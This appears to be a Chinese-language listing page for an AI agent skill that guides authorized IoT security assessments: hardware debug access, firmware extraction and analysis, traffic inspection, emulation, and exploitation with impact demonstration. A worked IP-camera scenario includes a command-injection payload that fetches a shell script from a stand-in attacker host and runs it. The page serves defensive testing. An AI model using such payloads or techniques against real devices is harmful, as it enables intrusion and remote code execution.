mcpField
P
performing-iot-security-assessment

performing-iot-security-assessment

github.com/mukul975安全35.2k48 次安装8 周前更新
代码仓库

关于 performing-iot-security-assessment

用于评估 IoT 设备、固件、通信和关联服务的安全技能,指导授权测试从硬件检查、固件分析到仿真测试和影响验证。

主要功能

  1. 01检查硬件调试接口
  2. 02提取并分析固件
  3. 03审查网络与无线流量
  4. 04仿真固件并进行动态测试
  5. 05验证漏洞影响

适用场景

  1. 01在部署前评估 IoT 产品
  2. 02检查固件中的凭据与漏洞
  3. 03在授权评估中测试 IIoT 设备
  4. 04评估设备、云端和应用的攻击面

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-iot-security-assessment

安装后在 Claude Code 中输入/performing-iot-security-assessment确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
scripts/
agent.py

详细介绍

执行 IoT 安全评估

何时使用

  • 在企业或关键基础设施环境中部署前,评估 IoT 设备的安全性
  • 作为产品安全审查或认证的一部分,评估消费级 IoT 产品的安全漏洞
  • 测试工业 IoT(IIoT)设备中可能影响运营技术环境的漏洞
  • 分析固件中的后门、硬编码凭据以及嵌入式组件中的已知漏洞
  • 评估完整 IoT 生态系统的安全性,包括设备、云后端和移动端配套应用

请勿在未经书面授权的情况下对 IoT 设备使用,用于修改您不拥有的设备上的固件,或对医疗设备或安全关键系统使用,除非有特定的医疗设备测试授权和安全协议。

前提条件

  • 对目标 IoT 设备进行硬件分析和测试所需的物理访问权限
  • 硬件工具:USB 转 UART 适配器(FTDI)、Bus Pirate、逻辑分析仪、JTAG 调试器(Segger J-Link)、SPI 闪存编程器(CH341A)
  • 固件分析工具:Binwalk、Firmwalker、Firmware Analysis Toolkit(FAT)、Ghidra、用于仿真的 QEMU
  • 网络分析:Wireshark、tcpdump、蓝牙工具(Ubertooth、nRF Connect)、Zigbee 工具(KillerBee)
  • 如需访问硬件调试点,需准备焊接设备

工作流

步骤 1:设备侦察与硬件分析

检查物理设备并识别攻击面:

  • 外部检查:记录所有物理接口(USB、以太网、串口、SD 卡槽)、标签、FCC ID 和型号
  • FCC ID 查询:使用 FCC ID 在 FCC 数据库(fcc.gov/oet/ea/fccid)中搜索,以查找内部照片、原理图和射频信息
  • PCB 分析:打开设备外壳并拍摄 PCB 照片。识别:
    • 主处理器/SoC(读取标记,搜索数据手册)
    • 闪存芯片(SPI NOR、NAND、eMMC)
    • 调试排针和测试点
    • UART/JTAG/SWD 引脚(寻找 4 针或 10 针排针,或未焊接的焊盘)
  • UART 识别:使用万用表识别 UART 引脚(TX、RX、GND、VCC)。连接 USB 转 UART 适配器,并尝试以常见波特率(9600、38400、57600、115200)访问串口控制台
  • JTAG 识别:使用 JTAGulator 或手动探测来识别 JTAG 引脚(TCK、TMS、TDI、TDO、TRST)。连接 JTAG 调试器以进行内存访问和调试。
步骤 2:固件提取与分析

提取并分析设备固件:

  • 固件获取方法:
    • 从制造商网站或更新服务器下载
    • 使用 SPI 编程器从闪存中提取:将 CH341A 连接到 SPI 闪存,使用 flashrom -p ch341a_spi -r firmware.bin 读取
    • 通过网络拦截捕获空中更新
    • 从 UART 引导加载程序控制台提取(U-Boot:md.b 内存转储)
  • 固件解包:binwalk -e firmware.bin 以提取文件系统、内核和引导加载程序组件
  • 文件系统分析:
    • 搜索凭据:grep -rn "password\|passwd\|secret\|key" squashfs-root/
    • 检查 /etc/shadow 中的密码哈希
    • 查看 /etc/init.d/ 中的启动脚本,以发现不安全的服务配置
    • 识别 Web 服务器配置和 CGI 脚本,以发现 Web 界面漏洞
    • 使用 Firmwalker:./firmwalker.sh squashfs-root/ 进行自动化敏感数据发现
  • 二进制分析:使用 Ghidra 对关键二进制文件(Web 服务器、管理守护进程、身份验证模块)进行逆向工程,以发现硬编码凭据、命令注入和缓冲区溢出漏洞
  • 已知漏洞扫描:提取软件版本,并与 CVE 数据库交叉比对。使用 firmware-analysis-toolkit 进行自动化 CVE 扫描。
步骤 3:网络通信分析

分析来自 IoT 设备的所有网络流量:

  • 流量捕获:将设备连接到具有流量镜像(SPAN 端口)的网络,或使用串联透明网桥。使用 Wireshark 捕获所有流量。
  • 协议分析:识别所使用的所有协议(HTTP、HTTPS、MQTT、CoAP、AMQP、自定义 TCP/UDP)。检查是否存在未加密的敏感数据传输。
  • TLS 分析:验证 TLS 实现:证书验证、密码套件强度、证书固定。尝试使用 Burp Suite 进行 MITM 拦截。
  • 云 API 分析:拦截设备到云的通信,以识别 API 端点、身份验证方法和传输的数据。测试 IDOR、身份验证绕过和过度数据暴露。
  • 蓝牙/BLE 测试:使用 nRF Connect 或 Ubertooth 枚举 BLE 服务和特征。测试未授权访问、明文数据传输和静态配对密钥。
  • Zigbee/Z-Wave 测试:使用 KillerBee 框架捕获和分析 Zigbee 流量,测试重放攻击,并检查密钥交换安全性。
步骤 4:固件仿真与动态测试

对固件进行仿真以进行动态安全测试:

  • QEMU 仿真:使用 FirmAE 或 Firmadyne 仿真提取的固件:python3 fat.py firmware.bin 以在仿真环境中启动固件
  • Web 界面测试:从仿真环境访问设备的 Web 管理界面,并测试以下内容:
    • 默认凭据(admin:admin、root:root、admin:password)
    • 配置参数中的命令注入
    • 通过直接 URL 访问绕过身份验证
    • 所有输入字段中的跨站脚本
    • 状态更改操作中的 CSRF
  • 服务测试:使用 Nmap 扫描仿真设备的所有开放端口,并测试每个服务是否存在已知漏洞
  • 模糊测试:使用 Boofuzz 或 AFL 对网络服务进行模糊测试,以发现嵌入式服务中的内存损坏漏洞
步骤 5:利用与影响演示

利用已识别的漏洞来演示影响:

  • 远程代码执行:串联已发现的漏洞(命令注入、缓冲区溢出),以在设备上实现远程代码执行
  • 凭据提取:提取并破解在固件、内存转储或网络捕获中发现的凭据
  • 横向移动:演示如何利用被攻陷的 IoT 设备攻击网络中的其他设备
  • 持久化:展示攻击者如何在固件更新或重启后保持对设备的访问
  • 物理影响:对于 IIoT 设备,演示物理操纵的可能性(更改传感器读数、修改执行器命令)

关键概念

术语定义
UARTUniversal Asynchronous Receiver/Transmitter;一种串行通信接口,常用于嵌入式设备上的调试控制台,通常提供 root shell 访问权限
JTAGJoint Test Action Group;一种硬件调试接口,提供对处理器的直接访问,用于内存读取、代码调试和固件提取
固件嵌入在设备闪存中控制其运行的软件,通常由引导加载程序、操作系统内核和根文件系统组成
Binwalk一种固件分析工具,用于从固件映像中识别和提取嵌入式文件系统、压缩归档和二进制组件
MQTTMessage Queuing Telemetry Transport;一种轻量级发布/订阅协议,常用于 IoT 设备通信,通常在没有身份验证的情况下部署
BLEBluetooth Low Energy;许多 IoT 设备用于短距离通信的无线协议,如果未正确保护,容易受到窃听和未授权访问

工具与系统

  • Binwalk:固件提取与分析工具,可识别固件镜像中的文件系统类型、压缩格式及嵌入数据
  • Ghidra:NSA 的开源逆向工程框架,用于分析 ARM、MIPS 及其他架构的嵌入式设备二进制文件
  • FirmAE/Firmadyne:自动化固件仿真平台,可在 QEMU 中启动提取出的基于 Linux 的 IoT 固件以进行动态测试
  • Bus Pirate:硬件黑客多功能工具,支持 UART、SPI、I2C 和 JTAG 协议,用于与嵌入式设备调试接口交互
  • Wireshark:网络协议分析器,用于捕获和分析 IoT 设备在所有协议层的网络流量

常见场景

场景:企业 IP 摄像头安全评估

背景:某公司计划在各办公室部署 200 台来自同一供应商的 IP 摄像头。部署前,安全团队要求对摄像头进行渗透测试,以识别可能被利用来访问企业网络的漏洞。

方法:

  1. 打开摄像头,识别 PCB 上的 UART 引脚;连接后以 115200 波特率访问 root shell,无需密码
  2. 从 SPI 闪存芯片提取固件并用 Binwalk 分析:发现嵌入了 BusyBox 的 Linux、lighttpd Web 服务器以及自定义管理守护进程
  3. 在 /etc/shadow 中发现硬编码凭据(root:$1$abc$hashedpassword),并在数秒内破解 MD5 哈希(密码:camera123)
  4. Web 界面测试发现 NTP 服务器配置字段存在命令注入:; wget http://attacker.com/shell.sh | sh
  5. 网络分析显示摄像头以未加密方式发送 RTSP 流,并且 ONVIF 服务在无认证的情况下暴露
  6. 演示横向移动:从被攻陷的摄像头扫描企业网络并访问 3 台内部服务器
  7. 报告建议进行网络分段、与固件供应商沟通,并将摄像头部署在隔离的 VLAN 上

陷阱:

  • 只关注 Web 界面,而忽略了可提供无需认证的 root shell 的 UART/JTAG 访问
  • 未分析固件中的硬编码凭据,这些凭据可能在同一型号的所有设备中共享
  • 孤立地测试设备,而忽略了将易受攻击的设备部署到企业网络中所带来的网络层风险
  • 忽视了云连接和移动应用组件,它们可能暴露额外的攻击面

输出格式

## Finding: Unauthenticated Root Shell via UART Debug Interface

**ID**: IOT-001
**Severity**: Critical (CVSS 9.0)
**Device**: ModelCam X200 IP Camera (Firmware v3.2.1)
**Interface**: UART serial console (115200 baud, 8N1)

**Description**:
The IP camera exposes a UART serial interface on the PCB that provides
direct root shell access without authentication. An attacker with physical
access to the device can connect a USB-to-UART adapter and obtain full
root access to the embedded Linux operating system.

**Proof of Concept**:
1. Opened device enclosure (4 Philips screws, no tamper detection)
2. Connected FTDI adapter to UART pins (J3 header on PCB)
3. Serial terminal at 115200 8N1: immediate root shell prompt
4. root@camera:~# id -> uid=0(root) gid=0(root)

**Additional Findings from Root Access**:
- /etc/shadow contains hardcoded root password (camera123) shared across all units
- WiFi credentials for any configured network stored in plaintext at /etc/wireless.conf
- RTSP stream accessible without authentication on port 554

**Impact**:
Physical access to any deployed camera grants root access to the network.
With 200 cameras deployed across offices, each camera becomes a potential
network entry point with root-level command execution capability.

**Remediation**:
1. Disable UART console access or require authentication in production firmware
2. Remove hardcoded credentials; use per-device unique passwords generated at manufacture
3. Encrypt stored WiFi credentials using a hardware-backed key
4. Deploy cameras on an isolated VLAN with no access to the corporate network

评论

支持 Markdown